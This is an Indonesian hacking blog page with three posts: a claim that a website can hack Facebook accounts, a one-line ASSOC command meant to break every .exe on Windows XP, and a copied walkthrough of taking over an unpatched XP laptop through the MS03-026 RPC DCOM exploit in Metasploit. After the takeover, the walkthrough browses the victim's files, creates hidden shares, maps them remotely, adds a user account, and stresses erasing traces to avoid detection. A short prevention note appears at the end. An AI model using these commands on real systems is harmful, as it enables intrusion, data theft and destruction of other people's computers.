Tampilkan postingan dengan label Hacking. Tampilkan semua postingan
Tampilkan postingan dengan label Hacking. Tampilkan semua postingan

Hack Facebook

Posted by Bl4ckB0y On 12.12 6 comments

video ini saya ambil dari youtube..tampak begitu mudahnya melakukan hacking facebook dengan bantuan tool-tool dari internet...

hanya dengan bantuan www.rayahari.com dalam beberapa detik facebook bisa dihacking dengan mudah tanpa perlu susah-susah bahkan oleh seorang newbie sekalipun...tapi ketika penulis coba ternyata yang terjadi malah mbulet tiada tara. kalau ada yang bisa mohon kasih tau yah.....

Xp-Zombie

Posted by Bl4ckB0y On 16.51 3 comments

trik ini sebenarnya ditulis oleh Xmoensen mungkin sudah agak lama tapi apa salahnya di coba....
===========================================
trik ini bisa membuat windows XP versi berapapu langsung mati dalam beberapa detik saja...
caranya gampang buka cmd...start->run ketik cmd dan langsung jalan
kemudian ketikan kode berikut :
# ASSOC .exe=.m0d4r

tunggu beberapa saat dan dijamin komputer langsung gak jalan, semua file berekstensi .exe jika dibuka propertisnya akan bertipe .m0d4r, padahal program m0d4r gak ada..jadi semua file .exe termasuk file virus ata apapun itu akan tewas wal seketika.....
trus balikinya bagaimana?.......gak bisa.....kenapa? karena ASSOC adalah sebuah progrma kecil bawaan XP yang akan melakukan associasi extensi file...dan karena program .exe ia juga terkena imbasnya....kalau ingin dibalik

# ASSOC .m0d4r=.exe

tetep gak jalan karena semua file executable telah mati...termasuk ASSOC sendiri...
cara balikinya yang palin ggampang ya di install ulang....
hahahaha....

Nyolong Windows

Posted by Bl4ckB0y On 04.48 0 comments

waduh panjang banget tipnya..ini tak ambil dari yogyafree ditulis oleh 

fl3xu5[at]fl3xu5.web.id..karena males ngedit jadi tak copas apa adanya...

dari bawah ini sampe..abis adalah tulisan asli...dari fl3xu5[at]fl3xu5.web.id....

====================================================================

Bismillahirrahmaanirrahiim 

- 
---"4 Commands to takeover windows machine" - 



-[*] Starting the Metasploit Framework... 


o 8 o o 
8 8 8 
ooYoYo. .oPYo. o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8 o8P 
8' 8 8 8oooo8 8 .oooo8 Yb.. 8 8 8 8 8 8 8 
8 8 8 8. 8 8 8 'Yb. 8 8 8 8 8 8 8 
8 8 8 `Yooo' 8 `YooP8 `YooP' 8YooP' 8 `YooP' 8 8 
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..: 
::::::::::::::::::::::::::::::::::8::::::::::::::::::::::: 
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 


+ -- --=[ msfconsole v2.7 [157 exploits - 76 payloads] 

msf > use msrpc_dcom_ms03_026 
msf msrpc_dcom_ms03_026 > set PAYLOAD win32_bind 
PAYLOAD -> win32_bind 
msf msrpc_dcom_ms03_026(win32_bind) > set RHOST 172.16.0.5 
RHOST -> 172.16.0.5 
msf msrpc_dcom_ms03_026(win32_bind) > exploit 
[*] Starting Bind Handler. 
[*] Sending request... 
[*] Got connection from 172.16.0.3:3766 <-> 172.16.0.5:4444 

Microsoft Windows XP [Version 5.1.2600] 
(C) Copyright 1985-2001 Microsoft Corp. 

C:\WINDOWS\system32> 


Yup 4 command dalam metasploit digunakan untuk exploitasi windows machine 
(dalam hitungan detik saja bukan ;p ). 
Begitulah gambaran singkat nya. 
Upzz tapi kurang menarik tanpa kita bahas lebih dalam  
Sip ok mari kita bahas satu persatu biar lebih menarik.. 

-Read This article on below carefully!!- 

-Perhatian & Pemberitahuan !! : 
=================================- 

-Artikel ini hanya ditujukan sebagai informasi & pengetahuan untuk siapa 
saja yang membaca artikel ini. So pergunakan informasi ini sebaik 
mungkin.jangan sampe disalahgunakan. Segala akibat dari penyalahgunaan 
artikel ini merupakan tanggung jawab pelaku. 
Penulis tidak bertanggungjawab atas penyalahgunaan artikel ini. - 

-Dipersilahkan memperbanyak artikel ini dengan ijin ataupun tanpa izin 
dari penulis dengan tujuan non profit, dengan tetap mencantumkan kredit 
atas penulis. 
- 

----===== Pengantar =====---- 
Sebenarnya artikel ini sudah agak basi dan kurang berbobot, penulis 
menyadari akan hal ini akan tetapi tidak ada salahnya penulis mencoba 
share dengan sedikit modifikasi untuk pembaca sehingga semoga bermanfaat. 
amien... 

Note : bagi anda yang sudah merasa jago silahkan quit cepat cepat dari 
artikel ini daripada buat boring :p.dan silahkan buat artikel yang jauh 
lebih bagus dari ini!!  
-because i am just ordinary human | No body is perfect..- 

----===== Isi =====---- 

-1. Apa dan bagaimana ?- 
-Artikel ini merupakan bagaimana cara mendapatkan mesini windows 
alias take over windows (xP or win2000 ) menggunakan metasploit dengan 
memakai exploit msrpc_dcom_ms03_026, serta nanti kita akan bermain2 
di cmd target saat kita sudah take over mesin wind* itu dengan akses 
tertinggi (adminstrator, layaknya root di linux/*nix ;p).- 

-Open and Explore your mind !! - 


2. Tool and Peripheral -: 


-attacker : - PC Desktop OS Windows 
- nama komputer fl3xu5 
- IP address 172.16.0.3 
- metasploit v2.7 (http://metasploit.com) 
- scanner (terserah). 

target : - laptop dengan OS Windows XPSP1 :p 
- nama komputer kidz 
- IP address 172.16.0.5 

peripheral lain 
- cross cable , UnShielded Twisted Pair , dengan rj45 
*yup percobaan kali ini dilakukan dengan peer to peer  
mumpung ada pinjeman laptop ;p 
- iringan winamp with Dream theater "Strange dejavu" ;p- 



-Ok langsung ajah ya biar ga kelamaan  
- 
3. -Mulai lakukan serangan ;p Lets Started !!- 
-3.1. Scanning- 
OK seperti pada umumnya yang dilakukan dalam proses hacking 
adalah scanning proses : 
pake nmap aja biar cepet dan praktis  


G:\> nmap 172.16.0.5 

Starting nmap 3.48 ( http://www.insecure.org/nmap/ ) at2004-03-23 23:00WIT 
Interesting ports on 172.16.0.5: 
(The 1652 ports scanned but not shown below are in state: closed) 
PORT STATE SERVICE 
135/tcp open msrpc 
139/tcp open netbios-ssn 
445/tcp open microsoft-ds 
1025/tcp open NFS-or-IIS 
5000/tcp open UPnP- 



wew ternyata port 134 nya terbuka ;p moga moga aja bisa di exploitasi 
rpc nya (berdoa aja duluw ;p) 

-3.2 exploitasi System via port 135 yang kebuka tadi.- 
Kali ini kita pake metasploit versi2.7, bisa didwonload di situs resmi 
nya http://metasploit.com. Bisa juga pake exploit lain spt KAHT2 dll. 



-[*] Starting the Metasploit Framework... 


o 8 o o 
8 8 8 
ooYoYo. .oPYo. o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8 o8P 
8' 8 8 8oooo8 8 .oooo8 Yb.. 8 8 8 8 8 8 8 
8 8 8 8. 8 8 8 'Yb. 8 8 8 8 8 8 8 
8 8 8 `Yooo' 8 `YooP8 `YooP' 8YooP' 8 `YooP' 8 8 
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..: 
::::::::::::::::::::::::::::::::::8::::::::::::::::::::::: 
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 


+ -- --=[ msfconsole v2.7 [157 exploits - 76 payloads] 

msf > use msrpc_dcom_ms03_026 
msf msrpc_dcom_ms03_026 > set PAYLOAD win32_bind 
PAYLOAD -> win32_bind 
msf msrpc_dcom_ms03_026(win32_bind) > set RHOST 172.16.0.5 
RHOST -> 172.16.0.5 
msf msrpc_dcom_ms03_026(win32_bind) > exploit 
[*] Starting Bind Handler. 
[*] Sending request... 
[*] Got connection from 172.16.0.3:3766 <-> 172.16.0.5:4444 

Microsoft Windows XP [Version 5.1.2600] 
(C) Copyright 1985-2001 Microsoft Corp. 

C:\WINDOWS\system32> <-- ok, kita berhasil masuk ke cmd target:)- 


-Point penting yang perlu diperhatikan adalah 
- target IP : 172.16.0.5 
- IP attacker : 172.16.0.3 
- port yang digunakan untuk koneksi: 
port 3766 <-- portnya attacker utk koneksi dng target 
port 4444 <-- portnya target.- 

YUp artinya kita dah takeover mesin target itu dan kedudukan kita 
sebagai administrator (dengan akses tertinggi ;p) 
nah enaknya ngapain ya kalo dah takeover gini?? 
yuuukk kita coba explore2 yuu  
*laykanya kita explore dengan cmd di mesin kita sendiri ;p tentunya 
dengan DOS command... 
-jangan lupa tuk diingat 
attacker : - IP address 172.16.0.3 
target : - IP address 172.16.0.5- 
Mulai yuu ;p 
-3.3 Analisa dengan netstat -a- 
- Pada mesin attacker : 


G:\Documents and Settings\fl3xu5>netstat -a 

Active Connections 

Proto Local Address Foreign Address State 
TCP fl3xu5:smtp fl3xu5:0 LISTENING 
TCP fl3xu5:finger fl3xu5:0 LISTENING 
TCP fl3xu5:http fl3xu5:0 LISTENING 
TCP fl3xu5:pop3 fl3xu5:0 LISTENING 
TCP fl3xu5:epmap fl3xu5:0 LISTENING 
TCP fl3xu5:microsoft-ds fl3xu5:0 LISTENING 
TCP fl3xu5:2869 fl3xu5:0 LISTENING 
TCP fl3xu5:6017 fl3xu5:0 LISTENING 
TCP fl3xu5:1028 fl3xu5:0 LISTENING 
TCP fl3xu5:3306 fl3xu5:0 LISTENING 
TCP fl3xu5:netbios-ssn fl3xu5:0 LISTENING 
TCP fl3xu5:3766 172.16.0.5:4444 ESTABLISHED 
UDP fl3xu5:microsoft-ds *:* 
UDP fl3xu5:isakmp *:* 
UDP fl3xu5:1025 *:* 
UDP fl3xu5:1026 *:* 
UDP fl3xu5:1049 *:* 
UDP fl3xu5:1050 *:* 
UDP fl3xu5:1051 *:* 
UDP fl3xu5:1052 *:* 
UDP fl3xu5:1053 *:* 
UDP fl3xu5:1054 *:* 
UDP fl3xu5:1055 *:* 
UDP fl3xu5:1056 *:* 
UDP fl3xu5:4500 *:* 
UDP fl3xu5:ntp *:* 
UDP fl3xu5:1900 *:* 
UDP fl3xu5:ntp *:* 
UDP fl3xu5:1027 *:* 
UDP fl3xu5:1900 *:* 
UDP fl3xu5:4293 *:* 
UDP fl3xu5:ntp *:* 
UDP fl3xu5:netbios-ns *:* 
UDP fl3xu5:netbios-dgm *:*- 



- Pada mesin target (cmd target) ketik : 


C:\WINDOWS\system32>netstat -a 
Active Connections 

Proto Local Address Foreign Address State 
TCP kidz:epmap kidz:0 LISTENING 
TCP kidz:microsoft-ds kidz:0 LISTENING 
TCP kidz:1025 kidz:0 LISTENING 
TCP kidz:1032 kidz:0 LISTENING 
TCP kidz:gds_db kidz:0 LISTENING 
TCP kidz:4444 kidz:0 LISTENING 
TCP kidz:5000 kidz:0 LISTENING 
TCP kidz:7551 kidz:0 LISTENING 
TCP kidz:netbios-ssn kidz:0 LISTENING 
TCP kidz:1370 kidz:0 LISTENING 
TCP kidz:1382 kidz:0 LISTENING 
TCP kidz:1445 kidz:0 LISTENING 
TCP kidz:1454 kidz:0 LISTENING 
TCP kidz:1699 kidz:0 LISTENING 
TCP kidz:1866 kidz:0 LISTENING 
TCP kidz:3859 kidz:0 LISTENING 
TCP kidz:4444 172.16.0.3:3766 ESTABLISHED 
UDP kidz:epmap *:* 
UDP kidz:microsoft-ds *:* 
UDP kidz:isakmp *:* 
UDP kidz:1026 *:* 
UDP kidz:1027 *:* 
UDP kidz:1028 *:* 
UDP kidz:1581 *:* 
UDP kidz:1582 *:* 
UDP kidz:1583 *:* 
UDP kidz:1584 *:* 
UDP kidz:1585 *:* 
UDP kidz:1586 *:* 
UDP kidz:1587 *:* 
UDP kidz:1588 *:* 
UDP kidz:1589 *:* 
UDP kidz:7550 *:* 
UDP kidz:ntp *:* 
UDP kidz:1033 *:* 
UDP kidz:1900 *:* 
UDP kidz:ntp *:* 
UDP kidz:netbios-ns *:* 
UDP kidz:netbios-dgm *:* 
UDP kidz:1900 *:*- 



-Coba perhatikan dari hasil netstat -a bahwa : 
Proto = artinya menunjukkan protokol yang digunakan 
Local Address = address lokal komputer yang bersangkutan (dalam 
hal ini adalah kidz), dan port yang digunakannya. 
Foreign Address = menunjukkan address asing yang sedang melakukan 
koneksi. 
State = menunjukkan status koneksi. 

Nah coba perhatikan diatas, 
TCP kidz:4444 172.16.0.3:3766 ESTABLISHED 
artinya bahwa kidz (komputer target) menggunakan port 4444 untuk 
terkoneksi dengan IP 172.16.0.3 (Ip attacker) dengan port attacker 
adalah 3766 dimana status keduanya adalah ESTABLISHED (berhasil 
terkoneksi ). 
Hal ini cocok dengan attacker : 
TCP fl3xu5:3766 172.16.0.5:4444 ESTABLISHED 
- 
Coba bandingkan dengan kondisi target sebelum terexploitasi: 


C:\WINDOWS\system32>netstat -a 
Active Connections 

Proto Local Address Foreign Address State 
TCP kidz:epmap kidz:0 LISTENING 
TCP kidz:microsoft-ds kidz:0 LISTENING 
TCP kidz:1025 kidz:0 LISTENING 
TCP kidz:1032 kidz:0 LISTENING 
TCP kidz:gds_db kidz:0 LISTENING 
TCP kidz:4444 kidz:0 LISTENING 
TCP kidz:5000 kidz:0 LISTENING 
TCP kidz:7551 kidz:0 LISTENING 
TCP kidz:netbios-ssn kidz:0 LISTENING 
TCP kidz:1370 kidz:0 LISTENING 
TCP kidz:1382 kidz:0 LISTENING 
TCP kidz:1445 kidz:0 LISTENING 
TCP kidz:1454 kidz:0 LISTENING 
TCP kidz:1699 kidz:0 LISTENING 
TCP kidz:1866 kidz:0 LISTENING 
TCP kidz:3859 kidz:0 LISTENING 
UDP kidz:epmap *:* 
UDP kidz:microsoft-ds *:* 
UDP kidz:isakmp *:* 
UDP kidz:1026 *:* 
UDP kidz:1027 *:* 
UDP kidz:1028 *:* 
UDP kidz:1581 *:* 
UDP kidz:1582 *:* 
UDP kidz:1583 *:* 
UDP kidz:1584 *:* 
UDP kidz:1585 *:* 
UDP kidz:1586 *:* 
UDP kidz:1587 *:* 
UDP kidz:1588 *:* 
UDP kidz:1589 *:* 
UDP kidz:7550 *:* 
UDP kidz:ntp *:* 
UDP kidz:1033 *:* 
UDP kidz:1900 *:* 
UDP kidz:ntp *:* 
UDP kidz:netbios-ns *:* 
UDP kidz:netbios-dgm *:* 
UDP kidz:1900 *:*- 



silahkan perbedaanya , jelas bukan  

4. Explorasi lebih dalam di mesin target ;p- 


C:\WINDOWS\system32>cd\ 
cd\ 
C:\>dir /a <--- tampilin isi direkory 
dir /a 
Volume in drive C is systemZ 
Volume Serial Number is 634Q-5H3W 

Directory of C:\ 

12/06/2007 01:36 pagi <dir>$VAULT$.AVG 
03/04/2003 01:57 pagi 0 AUTOEXEC.BAT 
06/03/2003 04:55 sore 193 boot.ini 
06/02/2003 01:57 sore 0 CONFIG.SYS 
22/05/2007 05:52 sore <dir> Documents and Settings 
26/06/2007 11:20 pagi 255.876.614 hiberfil.sys 
18/04/2007 07:27 pagi <dir>Inprise 
05/02/2003 01:57 sore 0 IO.SYS 
09/05/2003 01:57 pagi 0 MSDOS.SYS 
27/03/2002 04:08 sore 35.487 NTDETECT.COM 
23/05/2002 08:05 sore 343.598 ntldr 
28/02/2007 11:20 pagi 453.365.387 pagefile.sys 
23/01/2007 03:54 sore 14.243 PDOXUSRS.NET 
29/05/2007 12:22 pagi <dir> Program Files 
23/03/2007 05:55 pagi <dir> RECYCLER 
04/05/2003 02:02 pagi <dir>System Volume Information 
22/02/2007 11:39 pagi <dir> WINDOWS 
10 File(s) 564.767.298 bytes 
7 Dir(s) 4.387.087.073 bytes free- 



nah coba ah liat ada berapa OS nih di PC target ...caranya ?? 


C:\>type boot.ini 
type boot.ini 
[boot loader] 
timeout=6 
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS 
[operating systems] 
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect- 


wah ternyata cuma 1 oS yaitu windows... 

nah ada direktory program files tuh, coba intip yuu ;p 


C:\>cd program files 
cd program files 

C:\Program Files>dir /a 
dir /a 
Volume in drive C is systemZ 
Volume Serial Number is 634Q-5H3W 

Directory of C:\Program Files 

23/09/2007 12:22 pagi <dir> . 
12/09/2007 12:22 pagi <dir> .. 
21/09/2007 10:57 pagi <dir> Adobe 
13/09/2007 02:46 sore <dir> BORGChat 
18/09/2007 07:25 sore <dir> Borland 
21/09/2007 07:21 sore <dir> Common Files 
12/01/2003 01:54 pagi <dir> ComPlus Applications 
13/01/2003 04:11 pagi <dir> Grisoft 
08/09/2007 10:57 pagi <dir> InstallShield Installation Information 
15/01/2003 01:56 pagi <dir> Internet Explorer 
05/09/2007 07:26 sore <dir> JavaSoft 
14/01/2003 02:38 pagi <dir> K-Lite Codec Pack 
15/01/2003 01:53 pagi <dir> Messenger 
04/09/2007 09:51 pagi <dir> Microsoft ActiveSync 
15/01/2003 01:58 pagi <dir> microsoft frontpage 
05/09/2007 09:51 pagi <dir> Microsoft Office 
06/09/2007 09:51 pagi <dir> Microsoft.NET 
18/09/2007 01:35 sore <dir> mIRC 
22/01/2003 01:55 pagi <dir> Movie Maker 
29/01/2003 01:53 pagi <dir> MSN 
15/01/2003 01:53 pagi <dir> MSN Gaming Zone 
19/01/2003 01:55 pagi <dir> NetMeeting 
17/01/2003 01:56 pagi <dir> Online Services 
15/09/2007 12:14 pagi <dir> Opera 
13/01/2003 01:55 pagi <dir> Outlook Express 
18/01/2003 02:03 pagi <dir> Uninstall Information 
14/09/2007 08:37 sore <dir> Winamp 
18/09/2007 05:53 sore <dir> Windows Media Player 
14/01/2003 01:53 pagi <dir> Windows NT 
04/09/2007 03:14 sore <dir> WindowsUpdate 
05/09/2007 10:17 pagi <dir> WinRAR 
06/09/2007 10:20 pagi <dir> XemiComputers 
13/01/2003 01:58 pagi <dir> xerox 
05/09/2007 11:45 sore <dir> Yahoo! 
0 File(s) 0 bytes 
34 Dir(s) 5.319.032.098 bytes free- 



apalagi ya ?? oiya iseng buat direktory yuu ..ups tapi cepet2 
dihapus ya..biar ga ketahuan segera hapus jejak  


C:\>mkdir test 
mkdir test 
C:\>dir /a 

Volume in drive C is systemZ 
Volume Serial Number is 634Q-5H3W 

Directory of C:\ 

12/06/2007 01:36 pagi <<dir> $VAULT$.AVG 
03/04/2003 01:57 pagi 0 AUTOEXEC.BAT 
06/03/2003 04:55 sore 193 boot.ini 
06/02/2003 01:57 sore 0 CONFIG.SYS 
22/05/2007 05:52 sore <dir> Documents and Settings 
26/06/2007 11:20 pagi 255.876.614 hiberfil.sys 
18/04/2007 07:27 pagi <dir> Inprise 
05/02/2003 01:57 sore 0 IO.SYS 
09/05/2003 01:57 pagi 0 MSDOS.SYS 
27/03/2002 04:08 sore 35.487 NTDETECT.COM 
23/05/2002 08:05 sore 343.598 ntldr 
28/02/2007 11:20 pagi 453.365.387 pagefile.sys 
23/01/2007 03:54 sore 14.243 PDOXUSRS.NET 
29/05/2007 12:22 pagi <dir>Program Files 
23/03/2007 05:55 pagi <dir> RECYCLER 
04/05/2003 02:02 pagi <dir> System Volume Information 
24/09/2007 01:07 sore <dir> test 
22/02/2007 11:39 pagi <dir> WINDOWS 
10 File(s) 564.767.298 bytes 
7 Dir(s) 4.387.087.073 bytes free 
asyik dah berhasil tuh membuat direktori test ;p.. nih : 
24/09/2007 01:07 sore <dir>test- 



buruan ah hapus, biar ga ketahuan nyusup :p 


C:\>rmdir test 
rmdir test 
C:\> dir /a 
dir /a 
Volume in drive C is systemZ 
Volume Serial Number is 634Q-5H3W 

Directory of C:\ 

12/06/2007 01:36 pagi <dir> $VAULT$.AVG 
03/04/2003 01:57 pagi 0 AUTOEXEC.BAT 
06/03/2003 04:55 sore 193 boot.ini 
06/02/2003 01:57 sore 0 CONFIG.SYS 
22/05/2007 05:52 sore <dir>Documents and Settings 
26/06/2007 11:20 pagi 255.876.614 hiberfil.sys 
18/04/2007 07:27 pagi <dir>Inprise 
05/02/2003 01:57 sore 0 IO.SYS 
09/05/2003 01:57 pagi 0 MSDOS.SYS 
27/03/2002 04:08 sore 35.487 NTDETECT.COM 
23/05/2002 08:05 sore 343.598 ntldr 
28/02/2007 11:20 pagi 453.365.387 pagefile.sys 
23/01/2007 03:54 sore 14.243 PDOXUSRS.NET 
29/05/2007 12:22 pagi <dir>Program Files 
23/03/2007 05:55 pagi <dir> RECYCLER 
04/05/2003 02:02 pagi <dir> System Volume Information 
22/02/2007 11:39 pagi <dir> WINDOWS 
10 File(s) 564.767.298 bytes 
7 Dir(s) 4.387.087.073 bytes free- 



nah sekarang maen2 yang berhubungan dengan networking yuu 
biar tambah asyik... 
coba ah liat apa aja yang di share : 


C:\> d: 
D:\>net share 
net share 

Share name Resource Remark 

---------------------------------------------------------------- 
IPC$ Remote IPC 
D$ D:\ Default share 
F$ F:\ Default share 
ADMIN$ C:\WINDOWS Remote Admin 
C$ C:\ Default share 
E$ E:\ Default share 
The command completed successfully.- 



nah ternyata masih default tuh share share an nya..ada IPC$,D$, 
F$,ADMIN$,C$,E$. 

Coba explore direktory lain ah ...;p 


D:\>dir /a 
dir /a 
Volume in drive D is konami 
Volume Serial Number is 2876-28BY 

Directory of D:\ 

14/03/2007 01:38 pagi <dir> System Volume Information 
18/05/2007 12:23 sore <dir> funny 
05/09/2007 12:31 sore <dir> Recycled 
04/03/2007 07:43 sore <dir> installerzzz 
05/05/2007 12:20 sore <dir> Templates 
19/01/2007 04:44 sore 23 tutut.txt 
05/05/2007 12:11 pagi <dir> $VAULT$.AVG 
1 File(s) 23 bytes 
6 Dir(s) 4.584.785.237 bytes free- 



upzz ada direktory installer, kayaknya ini isi nya installer2/ 
software2 buat windows ya?? ga tahu juga ding, liat aja yuu :p 
tapi enaknya coba di share aja biar lebih enak dan menantang ;p 



D:\>net share i$=d:/installerzzz 
net share i$=d:/installerzzz 
i$ was shared successfully.- 



catatan : option $ digunakan supaya share nya di hidden biar ga 
keliatan ;p 

Coba liat dah berhasil di share blom yakk... 


D:\>net share 
net share 

Share name Resource Remark 

----------------------------------------------------------------- 
IPC$ Remote IPC 
D$ D:\ Default share 
i$ d:\installerzzz 
F$ F:\ Default share 
ADMIN$ C:\WINDOWS Remote Admin 
C$ C:\ Default share 
E$ E:\ Default share 
The command completed successfully.- 



asyik dah berhasil di share tuh dengan share name i$ ;p 
nah cepetan copi or liat2 tuh yang telah di share tadi, coz 
biar ga kelamaan di share..Nah kalo dah selese, segera di unshare 
ya ;p (sekali lagi kita maen bersih, be invisible ;p) 
cara nya gmn dunk unshare?? 


D:\>net share i$ /delete 
net share i$ /delete 
i$ was deleted successfully.- 



Sip dah diunshare tuh..masa sih?? yukk kita lihat bareng: 


D:\>net share 
net share 

Share name Resource Remark 

-------------------------------------------------------------------- 
IPC$ Remote IPC 
D$ D:\ Default share 
F$ F:\ Default share 
ADMIN$ C:\WINDOWS Remote Admin 
C$ C:\ Default share 
E$ E:\ Default share 
The command completed successfully.- 



oiya sip dah di unshare... 

wah enaknya liat yuu siapa aja user yang ada di PC target.. 


D:\>net user 
net user 

User accounts for \\ 

---------------------------------------------------------------------- 
Administrator Guest HelpAssistant 
kidz SUPPORT_388945a0 
The command completed with one or more errors.- 



nah tuh banyak user ternyata disitu, sekarang kita coba lihat 
properties dari salah satu user nya,misal user administrator. 


D:\>net user Administrator 
net user Administrator 
User name Administrator 
Full Name 
Comment Built-in account for administering the computer/domain 
User's comment 
Country code 000 (System Default) 
Account active Yes <---- acount nya aktif ;p 
Account expires Never 
Password last set 1/1/2003 8:51 AM 
Password expires Never 
Password changeable 1/1/2003 8:51 AM 
Password required Yes 
User may change password Yes 

Workstations allowed All 
Logon script 
User profile 
Home directory 
Last logon 9/20/2007 5:48 PM 

Logon hours allowed All 

Local Group Memberships *Administrators <- group Administrators 
Global Group memberships *None 
The command completed successfully.- 



Gimana kalo kita add user?? bisa ga ya??coba yuu ;p 


D:\>net user tamu 12345 /add 
net user tamu tamu /add 
The command completed successfully. 



artinya kita menambahkan user tamu dengan password 12345 



D:\>net user 
net user 

User accounts for \\ 

---------------------------------------------------------------------- 
Administrator Guest HelpAssistant 
kidz SUPPORT_388945a0 tamu 
The command completed with one or more errors. 



Sipp dah berhasil di create tuh user tamu ;p 

Nah berikutnya terserah mau jadikan user tamu itu masuk ke group 
administrators, terus kita pake acount tersebut buat connect back 
dan seterusnya..Silahkan saaja dan kembangin sendiri ya ;p 
Ok, kalo dah ga kepake kita hapus yuu user tamu itu biar ga ketahuan 
kalo kita nyusup ;p 



D:\>net user tamu /delete 
net user tamu /delete 
The command completed successfully. 

D:\>net user 
net user 

User accounts for \\ 

---------------------------------------------------------------------- 
Administrator Guest HelpAssistant 
kidz SUPPORT_388945a0 
The command completed with one or more errors. 



Sip dah kehapus user tamu tsb ;p 

Kita explore Drive lain yuuu..masih lom cape khan ;-P hehehe 



D:\>f: 

F:\>dir /a 
dir /a 
Volume in drive F is high-Q 
Volume Serial Number is 190T-1958 

Directory of F:\ 

19/09/2007 06:39 sore <dir> FOUND.000 
09/09/2007 01:38 pagi <dir> System Volume Information 
07/09/2007 12:31 sore <dir> Recycled 
14/09/2007 07:50 sore <dir> film 
08/09/2007 07:50 sore <dir> SongZ 
0 File(s) 0 bytes 
5 Dir(s) 5.067.175.298 bytes free 





F:\>cd SongZ 
cd SongZ 

F:\>SongZ>dir /a 
dir /a 
Volume in drive F is high-Q 
Volume Serial Number is 190T-1958 

Directory of F:\SongZ 

16/03/2007 07:50 sore <dir> . 
11/07/2007 07:50 sore <dir> .. 
05/02/2003 06:16 pagi <dir> Indonesia 
07/09/2003 06:18 pagi <dir> Barat 
19/02/2007 07:51 sore <dir> Lirik Lagu 
0 File(s) 0 bytes 
5 Dir(s) 5.030.287.287 bytes free 



Coba kita share yuuk Folder SongZ yang ada di f:\, abis itu kita 
mapping di PC kita ;p asyi bukan  



F:\SongZ>net share b$=f:\SongZ 
net share b$=f:\SongZ 
b$ was shared successfully 

F:\SongZ>net share 
net share 

Share name Resource Remark 

----------------------------------------------------------------------- 
IPC$ Remote IPC 
D$ D:\ Default share 
b$ f:\SongZ 
F$ F:\ Default share 
ADMIN$ C:\WINDOWS Remote Admin 
C$ C:\ Default share 
E$ E:\ Default share 
The command completed successfully. 



yup dah si share tuh f:\SongZ dgn nama share nya b$. 
OK berarti kita tinggal mapping aja ke PC kita, seolah olah kita 
punya partisi hardisk baru. misal kita punya partisi c,d,e,f,g maka 
biasa nya kalo kita telah berhasil mapping maka akan tampak partisi 
Z di PC kita. untuk mapping ke dua maka akan tampak mapping point 
berikutnya yaitu Y. maaping point tersebut sama seperti saat kita 
melakukan "map network drive" suatu folder yang di share PC lain. 
yukk langsung kita coba aja ;p 
kita buka PC kita : 



G:\Documents and Settings\fl3xu5>net use Z: \\172.16.0.5\b$ 
The command completed successfully. 

G:\Documents and Settings\fl3xu5>net use 
New connections will not be remembered. 

Status Local Remote Network 

----------------------------------------------------------------- 
OK Z: \\172.16.0.5\b$ Microsoft Windows Network 

The command completed successfully. 



Sip.. dah berhasil di mapping ke Z: 
Silahkan cek di MY komputer kita maka akan nampak drive Z tersebut 
yang berisi file sharing \\172.16.0.5\b$ 
jika sudah berhasil maka bisa kita copy file share dari PC target ;p 
teknik ini digunakan untuk memudahkan kita dalam mengakses karena 
kita tidak perlu mem browse PC target, melainkan kita tinggal klik 
drive Z yang telah menjadi mapping point tersebut.;p 
*laykanya kita mengakses drive PC kita ;p 
Nah kalo dah tidak diperlukan segera "disconnect map drive" tadi, 
tujuanya agar tidak di ketahui kalo kita dah nge share dan nge map 
file dari PC target tersebut. (Ingat, kita maen bersih yak ;p) 
caranya : 



G:\Documents and Settings\fl3xu5>net use Z: /delete 
Z: was deleted successfully. 

G:\Documents and Settings\fl3xu5>net use 
New connections will not be remembered 

There are no entries in the list. 



Nampak kalo Z: sudah tidak ada, artinya sudah tidak ada mapping 
point di PC kita.. 
Supaya aman jangan lupa kita unshare b$ dari PC target tadi, caranya : 


F:\SongZ>net share b$ /delete 
net share b$ /delete 
b$ was deleted successfully 



Cek yuu dah ter unshare blom b$ tadi : 


F:\SongZ>net share 
net share 

Share name Resource Remark 

----------------------------------------------------------- 
IPC$ Remote IPC 
D$ D:\ Default share 
F$ F:\ Default share 
ADMIN$ C:\WINDOWS Remote Admin 
C$ C:\ Default share 
E$ E:\ Default share 
The command completed successfully. 




----===== Analisa =====--- 
-Dalam kasus ini PC target merupakan PC dengan OS windows dengan default 
installation artinya smuwa konfigurasi masih default, belum dilakukan 
patching terhadap OS windows tersebut. Dan juga tidak dilakukan installasi 
terhadapa Antivirus or firewall. Meskipun antiviurs dan firewall bukan 
satu cara yang bagus untuk men secure tapi paling tidak ada beberapa 
yang cocok untuk melakukan pencegahan terhadap exploit msrpcdcom ini. 

----===== Pencegahan =====--- 
-Salah satu pencegahan yang bisa dilakukan adalah dengan menginstall 
AV dan firewall serta lakukan lah patching, sehingga mencegah 
adanya intruder/attacker via port 135 tersebut dengan memanfaatkan 
rpcdcom tadi. 

Nah penulis coba lakukan filtering packet yang ada di TCP/IP properties 
yaitu dengan 
Pilih network connection --> klik kanan pada LAN --> properties--> 
TCP/IP --> properties --> advanced --> options --> TCP/IP Filtering 
--> properties --> Enable TCP/IP filtering --> klik permit only --> 
add --> masukkan port 80 --> ok --ok -->ok --> ok. 
Setelah melakukan filtering tadi, penulis coba exploitasi dengan cara 
yang sama via port 135 tadi, dan hasilnya tidak berhasil terexploitasi. 
padahal tanpa install AV dan firewall sebelumnya. 
Akan tetapi, banyak efect yang terjadi setelah melakukan filtering tadi. 
seperti tidak bisa sharing file. 
berdasarkan analisa penulis, tidak berhasilnya exploitasi tadi 
dikarenakan port 135 tertutup, dimana port 135 digunakan sebagai 
servis yang berhubungan dengan file sharing tadi. 




--===== Penutup =====--- 

--->> Info tambahan 
-- untuk informasi lebih tentang metasploit silahkan ke 
http://metasploit.com, dan gunakan ? pada msf console. 
- info DOS command, ketik help pada command prompt untuk mengetahui 
lebih dalam command2 apa saja yang digunaakn dalam windows (DOS) 


- Silahkan menganalisa lebih dalam tentang netstat, dengan ketik 
netstat /? pada cmd. 
Coba saya berikan sampel nya : 



G:\Documents and Settings\fl3xu5>net 
The syntax of this command is: 


